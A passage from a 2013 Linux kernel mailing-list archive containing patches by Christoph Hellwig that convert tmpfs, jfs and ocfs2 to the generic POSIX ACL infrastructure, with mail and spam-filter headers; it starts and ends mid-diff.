+int simple_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int error; + + if (type == ACL_TYPE_ACCESS) { + error = posix_acl_equiv_mode(acl, &inode->i_mode); + if (error < 0) + return 0; + if (error == 0) + acl = NULL; + } + + inode->i_ctime = CURRENT_TIME; + set_cached_acl(inode, type, acl); + return 0; +} + +int simple_acl_create(struct inode *dir, struct inode *inode) +{ + struct posix_acl *default_acl, *acl; + int error; + + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; + + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); + return 0; +} diff --git a/include/linux/generic_acl.h b/include/linux/generic_acl.h deleted file mode 100644 index b6d6575..0000000 --- a/include/linux/generic_acl.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef LINUX_GENERIC_ACL_H -#define LINUX_GENERIC_ACL_H - -#include - -struct inode; - -extern const struct xattr_handler generic_acl_access_handler; -extern const struct xattr_handler generic_acl_default_handler; - -int generic_acl_init(struct inode *, struct inode *); -int generic_acl_chmod(struct inode *); - -#endif /* LINUX_GENERIC_ACL_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 9ec6b45..d253bfa 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -101,6 +101,9 @@ extern int posix_acl_chmod(struct inode *); extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, struct posix_acl **); +extern int simple_set_acl(struct inode *, struct posix_acl *, int); +extern int simple_acl_create(struct inode *, struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -183,6 +186,12 @@ static inline int posix_acl_chmod(struct inode *inode) return 0; } +#define simple_set_acl NULL + +static inline int simple_acl_create(struct inode *dir, struct inode *inode) +{ + return 0; +} static inline void cache_no_acl(struct inode *inode) { } diff --git a/mm/shmem.c b/mm/shmem.c index 8297623..c41b8a9 100644 --- a/mm/shmem.c +++ b/mm/shmem.c @@ -45,7 +45,7 @@ static struct vfsmount *shm_mnt; #include #include #include -#include +#include #include #include #include @@ -620,10 +620,8 @@ static int shmem_setattr(struct dentry *dentry, struct iattr *attr) } setattr_copy(inode, attr); -#ifdef CONFIG_TMPFS_POSIX_ACL if (attr->ia_valid & ATTR_MODE) - error = generic_acl_chmod(inode); -#endif + error = posix_acl_chmod(inode); return error; } @@ -1937,22 +1935,14 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) inode = shmem_get_inode(dir->i_sb, dir, mode, dev, VM_NORESERVE); if (inode) { -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#endif + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; error = security_inode_init_security(inode, dir, &dentry->d_name, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } + if (error && error != -EOPNOTSUPP) + goto out_iput; error = 0; dir->i_size += BOGO_DIRENT_SIZE; @@ -1961,6 +1951,9 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) dget(dentry); /* Extra count - pin the dentry in core */ } return error; +out_iput: + iput(inode); + return error; } static int @@ -1974,24 +1967,17 @@ shmem_tmpfile(struct inode *dir, struct dentry *dentry, umode_t mode) error = security_inode_init_security(inode, dir, NULL, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#else - error = 0; -#endif + if (error && error != -EOPNOTSUPP) + goto out_iput; + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; d_tmpfile(dentry, inode); } return error; +out_iput: + iput(inode); + return error; } static int shmem_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) @@ -2223,8 +2209,8 @@ static int shmem_initxattrs(struct inode *inode, static const struct xattr_handler *shmem_xattr_handlers[] = { #ifdef CONFIG_TMPFS_POSIX_ACL - &generic_acl_access_handler, - &generic_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; @@ -2740,6 +2726,7 @@ static const struct inode_operations shmem_inode_operations = { .getxattr = shmem_getxattr, .listxattr = shmem_listxattr, .removexattr = shmem_removexattr, + .set_acl = simple_set_acl, #endif }; @@ -2764,6 +2751,7 @@ static const struct inode_operations shmem_dir_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; @@ -2776,6 +2764,7 @@ static const struct inode_operations shmem_special_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E858D7F60 for ; Sun, 1 Dec 2013 06:07:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA6E1304053 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899632-04bdf06eec424d00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 61CcVlioDvHJbcDL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nc-0003h7-GF; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120656.391407780@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:18 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 15/18] jfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 15/18] jfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0015-jfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Copy the scheme I introduced to btrfs many years ago to only use the xattr handler for ACLs, but pass plain attrs straight through. Signed-off-by: Christoph Hellwig --- fs/jfs/acl.c | 105 ++++++++++++++++++++------------------------------ fs/jfs/file.c | 4 +- fs/jfs/jfs_acl.h | 7 +--- fs/jfs/jfs_xattr.h | 2 + fs/jfs/namei.c | 1 + fs/jfs/super.c | 2 + fs/jfs/xattr.c | 108 ++++++++++++++++++---------------------------------- 7 files changed, 89 insertions(+), 140 deletions(-) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 28d529a..e973b85 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -72,7 +72,7 @@ struct posix_acl *jfs_get_acl(struct inode *inode, int type) return acl; } -static int jfs_set_acl(tid_t tid, struct inode *inode, int type, +static int __jfs_set_acl(tid_t tid, struct inode *inode, int type, struct posix_acl *acl) { char *ea_name; @@ -80,21 +80,22 @@ static int jfs_set_acl(tid_t tid, struct inode *inode, int type, int size = 0; char *value = NULL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - switch(type) { - case ACL_TYPE_ACCESS: - ea_name = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - ea_name = POSIX_ACL_XATTR_DEFAULT; - if (!S_ISDIR(inode->i_mode)) - return acl ? -EACCES : 0; - break; - default: - return -EINVAL; + switch (type) { + case ACL_TYPE_ACCESS: + ea_name = POSIX_ACL_XATTR_ACCESS; + rc = posix_acl_equiv_mode(acl, &inode->i_mode); + if (rc < 0) + return rc; + if (rc == 0) + acl = NULL; + break; + case ACL_TYPE_DEFAULT: + ea_name = POSIX_ACL_XATTR_DEFAULT; + break; + default: + return -EINVAL; } + if (acl) { size = posix_acl_xattr_size(acl->a_count); value = kmalloc(size, GFP_KERNEL); @@ -114,65 +115,43 @@ out: return rc; } +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int rc; + tid_t tid; + + tid = txBegin(inode->i_sb, 0); + mutex_lock(&JFS_IP(inode)->commit_mutex); + rc = __jfs_set_acl(tid, inode, type, acl); + if (!rc) + rc = txCommit(tid, 1, &inode, 0); + txEnd(tid); + mutex_unlock(&JFS_IP(inode)->commit_mutex); + return rc; +} + int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int rc = 0; - if (S_ISLNK(inode->i_mode)) - return 0; + rc = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (rc) + return rc; - acl = jfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + if (default_acl) { + rc = __jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } if (acl) { - if (S_ISDIR(inode->i_mode)) { - rc = jfs_set_acl(tid, inode, ACL_TYPE_DEFAULT, acl); - if (rc) - goto cleanup; - } - rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (rc < 0) - goto cleanup; /* posix_acl_release(NULL) is no-op */ - if (rc > 0) - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); -cleanup: + if (!rc) + rc = __jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); - } else - inode->i_mode &= ~current_umask(); + } JFS_IP(inode)->mode2 = (JFS_IP(inode)->mode2 & 0xffff0000) | inode->i_mode; return rc; } - -int jfs_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - tid_t tid; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = jfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - - tid = txBegin(inode->i_sb, 0); - mutex_lock(&JFS_IP(inode)->commit_mutex); - rc = jfs_set_acl(tid, inode, ACL_TYPE_ACCESS, acl); - if (!rc) - rc = txCommit(tid, 1, &inode, 0); - txEnd(tid); - mutex_unlock(&JFS_IP(inode)->commit_mutex); - - posix_acl_release(acl); - return rc; -} diff --git a/fs/jfs/file.c b/fs/jfs/file.c index dd7442c..145a17e 100644 --- a/fs/jfs/file.c +++ b/fs/jfs/file.c @@ -19,6 +19,7 @@ #include #include +#include #include #include "jfs_incore.h" #include "jfs_inode.h" @@ -131,7 +132,7 @@ int jfs_setattr(struct dentry *dentry, struct iattr *iattr) mark_inode_dirty(inode); if (iattr->ia_valid & ATTR_MODE) - rc = jfs_acl_chmod(inode); + rc = posix_acl_chmod(inode); return rc; } @@ -143,6 +144,7 @@ const struct inode_operations jfs_file_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/jfs_acl.h b/fs/jfs/jfs_acl.h index ad84fe5..489f993 100644 --- a/fs/jfs/jfs_acl.h +++ b/fs/jfs/jfs_acl.h @@ -21,8 +21,8 @@ #ifdef CONFIG_JFS_POSIX_ACL struct posix_acl *jfs_get_acl(struct inode *inode, int type); +int jfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int jfs_init_acl(tid_t, struct inode *, struct inode *); -int jfs_acl_chmod(struct inode *inode); #else @@ -32,10 +32,5 @@ static inline int jfs_init_acl(tid_t tid, struct inode *inode, return 0; } -static inline int jfs_acl_chmod(struct inode *inode) -{ - return 0; -} - #endif #endif /* _H_JFS_ACL */ diff --git a/fs/jfs/jfs_xattr.h b/fs/jfs/jfs_xattr.h index e9e100f..e8d717d 100644 --- a/fs/jfs/jfs_xattr.h +++ b/fs/jfs/jfs_xattr.h @@ -61,6 +61,8 @@ extern ssize_t jfs_getxattr(struct dentry *, const char *, void *, size_t); extern ssize_t jfs_listxattr(struct dentry *, char *, size_t); extern int jfs_removexattr(struct dentry *, const char *); +extern const struct xattr_handler *jfs_xattr_handlers[]; + #ifdef CONFIG_JFS_SECURITY extern int jfs_init_security(tid_t, struct inode *, struct inode *, const struct qstr *); diff --git a/fs/jfs/namei.c b/fs/jfs/namei.c index aa8a337..d59c7de 100644 --- a/fs/jfs/namei.c +++ b/fs/jfs/namei.c @@ -1524,6 +1524,7 @@ const struct inode_operations jfs_dir_inode_operations = { .setattr = jfs_setattr, #ifdef CONFIG_JFS_POSIX_ACL .get_acl = jfs_get_acl, + .set_acl = jfs_set_acl, #endif }; diff --git a/fs/jfs/super.c b/fs/jfs/super.c index 6669aa2..e2b7483 100644 --- a/fs/jfs/super.c +++ b/fs/jfs/super.c @@ -44,6 +44,7 @@ #include "jfs_imap.h" #include "jfs_acl.h" #include "jfs_debug.h" +#include "jfs_xattr.h" MODULE_DESCRIPTION("The Journaled Filesystem (JFS)"); MODULE_AUTHOR("Steve Best/Dave Kleikamp/Barry Arndt, IBM"); @@ -522,6 +523,7 @@ static int jfs_fill_super(struct super_block *sb, void *data, int silent) */ sb->s_op = &jfs_super_operations; sb->s_export_op = &jfs_export_operations; + sb->s_xattr = jfs_xattr_handlers; #ifdef CONFIG_QUOTA sb->dq_op = &dquot_operations; sb->s_qcop = &dquot_quotactl_ops; diff --git a/fs/jfs/xattr.c b/fs/jfs/xattr.c index d3472f4..5324e4e 100644 --- a/fs/jfs/xattr.c +++ b/fs/jfs/xattr.c @@ -666,81 +666,12 @@ static int ea_put(tid_t tid, struct inode *inode, struct ea_buffer *ea_buf, } /* - * can_set_system_xattr - * - * This code is specific to the system.* namespace. It contains policy - * which doesn't belong in the main xattr codepath. - */ -static int can_set_system_xattr(struct inode *inode, const char *name, - const void *value, size_t value_len) -{ -#ifdef CONFIG_JFS_POSIX_ACL - struct posix_acl *acl; - int rc; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - /* - * POSIX_ACL_XATTR_ACCESS is tied to i_mode - */ - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - if (acl) { - rc = posix_acl_equiv_mode(acl, &inode->i_mode); - posix_acl_release(acl); - if (rc < 0) { - printk(KERN_ERR - "posix_acl_equiv_mode returned %d\n", - rc); - return rc; - } - mark_inode_dirty(inode); - } - /* - * We're changing the ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_ACCESS); - - return 0; - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, value_len); - if (IS_ERR(acl)) { - rc = PTR_ERR(acl); - printk(KERN_ERR "posix_acl_from_xattr returned %d\n", - rc); - return rc; - } - posix_acl_release(acl); - - /* - * We're changing the default ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_DEFAULT); - - return 0; - } -#endif /* CONFIG_JFS_POSIX_ACL */ - return -EOPNOTSUPP; -} - -/* * Most of the permission checking is done by xattr_permission in the vfs. - * The local file system is responsible for handling the system.* namespace. * We also need to verify that this is a namespace that we recognize. */ static int can_set_xattr(struct inode *inode, const char *name, const void *value, size_t value_len) { - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return can_set_system_xattr(inode, name, value, value_len); - if (!strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN)) { /* * This makes sure that we aren't trying to set an @@ -748,7 +679,7 @@ static int can_set_xattr(struct inode *inode, const char *name, * with "os2." */ if (is_known_namespace(name + XATTR_OS2_PREFIX_LEN)) - return -EOPNOTSUPP; + return -EOPNOTSUPP; return 0; } @@ -913,6 +844,14 @@ int jfs_setxattr(struct dentry *dentry, const char *name, const void *value, if ((rc = can_set_xattr(inode, name, value, value_len))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_setxattr(dentry, name, value, value_len, flags); + if (value == NULL) { /* empty EA, do not remove */ value = ""; value_len = 0; @@ -986,6 +925,14 @@ ssize_t jfs_getxattr(struct dentry *dentry, const char *name, void *data, { int err; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_getxattr(dentry, name, data, buf_size); + if (strncmp(name, XATTR_OS2_PREFIX, XATTR_OS2_PREFIX_LEN) == 0) { /* * skip past "os2." prefix @@ -1077,6 +1024,14 @@ int jfs_removexattr(struct dentry *dentry, const char *name) if ((rc = can_set_xattr(inode, name, NULL, 0))) return rc; + /* + * If this is a request for a synthetic attribute in the system.* + * namespace use the generic infrastructure to resolve a handler + * for it via sb->s_xattr. + */ + if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return generic_removexattr(dentry, name); + tid = txBegin(inode->i_sb, 0); mutex_lock(&ji->commit_mutex); rc = __jfs_setxattr(tid, dentry->d_inode, name, NULL, 0, XATTR_REPLACE); @@ -1088,6 +1043,19 @@ int jfs_removexattr(struct dentry *dentry, const char *name) return rc; } +/* + * List of handlers for synthetic system.* attributes. All real ondisk + * attributes are handled directly. + */ +const struct xattr_handler *jfs_xattr_handlers[] = { +#ifdef JFS_POSIX_ACL + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, +#endif + NULL, +}; + + #ifdef CONFIG_JFS_SECURITY static int jfs_initxattrs(struct inode *inode, const struct xattr *xattr_array, void *fs_info) -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E6FEE7F56 for ; Sun, 1 Dec 2013 06:07:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C320F304059 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899632-04cbb04168421910001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id O0uNEG20iICHIDZg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nb-0003fC-VP; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120655.852590677@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:15 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0012-ocfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/ocfs2/acl.c | 234 ++--------------------------------------------- fs/ocfs2/acl.h | 13 ++- fs/ocfs2/file.c | 4 +- fs/ocfs2/namei.c | 25 ++++- fs/ocfs2/refcounttree.c | 19 +++- fs/ocfs2/xattr.c | 21 +++-- fs/ocfs2/xattr.h | 6 +- 7 files changed, 72 insertions(+), 250 deletions(-) diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index c0f9d2f..555f4cd 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -160,36 +160,6 @@ static struct posix_acl *ocfs2_get_acl_nolock(struct inode *inode, return acl; } - -/* - * Get posix acl. - */ -static struct posix_acl *ocfs2_get_acl(struct inode *inode, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct buffer_head *di_bh = NULL; - struct posix_acl *acl; - int ret; - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return NULL; - - ret = ocfs2_inode_lock(inode, &di_bh, 0); - if (ret < 0) { - mlog_errno(ret); - acl = ERR_PTR(ret); - return acl; - } - - acl = ocfs2_get_acl_nolock(inode, type, di_bh); - - ocfs2_inode_unlock(inode, 0); - - brelse(di_bh); - - return acl; -} - /* * Helper function to set i_mode in memory and disk. Some call paths * will not have di_bh or a journal handle to pass, in which case it @@ -250,7 +220,7 @@ out: /* * Set the access or default ACL of an inode. */ -static int ocfs2_set_acl(handle_t *handle, +int ocfs2_set_acl(handle_t *handle, struct inode *inode, struct buffer_head *di_bh, int type, @@ -313,6 +283,11 @@ static int ocfs2_set_acl(handle_t *handle, return ret; } +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + return ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); +} + struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) { struct ocfs2_super *osb; @@ -334,200 +309,3 @@ struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) return acl; } - -int ocfs2_acl_chmod(struct inode *inode) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, - acl, NULL, NULL); - posix_acl_release(acl); - return ret; -} - -/* - * Initialize the ACLs of a new inode. If parent directory has default ACL, - * then clone to new inode. Called from ocfs2_mknod. - */ -int ocfs2_init_acl(handle_t *handle, - struct inode *inode, - struct inode *dir, - struct buffer_head *di_bh, - struct buffer_head *dir_bh, - struct ocfs2_alloc_context *meta_ac, - struct ocfs2_alloc_context *data_ac) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl = NULL; - int ret = 0, ret2; - umode_t mode; - - if (!S_ISLNK(inode->i_mode)) { - if (osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) { - acl = ocfs2_get_acl_nolock(dir, ACL_TYPE_DEFAULT, - dir_bh); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) { - mode = inode->i_mode & ~current_umask(); - ret = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret) { - mlog_errno(ret); - goto cleanup; - } - } - } - if ((osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = ocfs2_set_acl(handle, inode, di_bh, - ACL_TYPE_DEFAULT, acl, - meta_ac, data_ac); - if (ret) - goto cleanup; - } - mode = inode->i_mode; - ret = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (ret < 0) - return ret; - - ret2 = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret2) { - mlog_errno(ret2); - ret = ret2; - goto cleanup; - } - if (ret > 0) { - ret = ocfs2_set_acl(handle, inode, - di_bh, ACL_TYPE_ACCESS, - acl, meta_ac, data_ac); - } - } -cleanup: - posix_acl_release(acl); - return ret; -} - -static size_t ocfs2_xattr_list_acl_access(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t ocfs2_xattr_list_acl_default(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int ocfs2_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - struct posix_acl *acl; - int ret; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ocfs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return ret; -} - -static int ocfs2_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if 